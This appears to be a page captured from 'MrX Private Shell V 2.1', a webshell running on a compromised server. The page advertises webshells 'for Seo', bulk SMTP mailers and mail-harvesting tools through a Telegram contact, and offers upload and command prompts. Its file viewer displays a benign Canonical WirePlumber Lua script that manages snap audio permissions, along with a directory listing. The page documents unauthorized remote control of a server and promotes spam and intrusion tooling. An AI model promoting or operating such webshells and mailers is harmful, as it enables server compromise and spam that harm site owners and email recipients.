__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
-- Manage snap audio permissions
--
-- Copyright © 2023 Canonical Ltd.
--    @author Sergio Costas Rodriguez <[email protected]>
--
-- SPDX-License-Identifier: MIT

function removeClientPermissionsForOtherClients (client)
  -- Remove access to any other clients, but allow all the process of the
  -- same snap to access their elements
  local client_id = client.properties["pipewire.snap.id"]
  for snap_client in clients_snap:iterate() do
    local snap_client_id = snap_client.properties["pipewire.snap.id"]
    if snap_client_id ~= client_id then
      client:update_permissions { [snap_client["bound-id"]] = "-" }
    end
  end
  for no_snap_client in clients_no_snap:iterate() do
    client:update_permissions { [no_snap_client["bound-id"]] = "-" }
  end
end

function updateClientPermissions (client)
  -- Remove access to Audio/Sources and Audio/Sinks based on snap permissions
  for node in nodes_om:iterate() do
    local node_id = node["bound-id"]
    local property = "pipewire.snap.audio.playback"

    if node.properties["media.class"] == "Audio/Source" then
      property = "pipewire.snap.audio.record"
    end

    if client.properties[property] ~= "true" then
      client:update_permissions { [node_id] = "-" }
    end
  end
end

clients_snap = ObjectManager {
  Interest {
    type = "client",
    Constraint { "pipewire.snap.id", "+", type = "pw"},
  }
}

clients_no_snap = ObjectManager {
  Interest {
    type = "client",
    Constraint { "pipewire.snap.id", "-", type = "pw"},
  }
}

nodes_om = ObjectManager {
  Interest {
    type = "node",
    Constraint { "media.class", "matches", "Audio/*"}
  }
}

clients_snap:connect("object-added", function (om, client)
  -- If a new snap client is added, adjust its permissions
  updateClientPermissions (client)
  removeClientPermissionsForOtherClients (client)
end)

clients_no_snap:connect("object-added", function (om, client)
  -- If a new, non-snap client is added,
  -- remove access to it from other snaps
  client_id = client["bound-id"]
  for snap_client in clients_snap:iterate() do
    if client.properties["pipewire.snap.id"] ~= nil then
      snap_client:update_permissions { [client_id] = "-" }
    end
  end
end)

nodes_om:connect("object-added", function (om, node)
  -- If a new Audio/Sink or Audio/Source node is added,
  -- adjust the permissions in the snap clients
  for client in clients_snap:iterate() do
    updateClientPermissions (client)
  end
end)

clients_snap:activate()
clients_no_snap:activate()
nodes_om:activate()

Filemanager

Name Type Size Permission Actions
access-default.lua File 2.31 KB 0644
access-portal.lua File 4.07 KB 0644
access-snap.lua File 2.47 KB 0644
Filemanager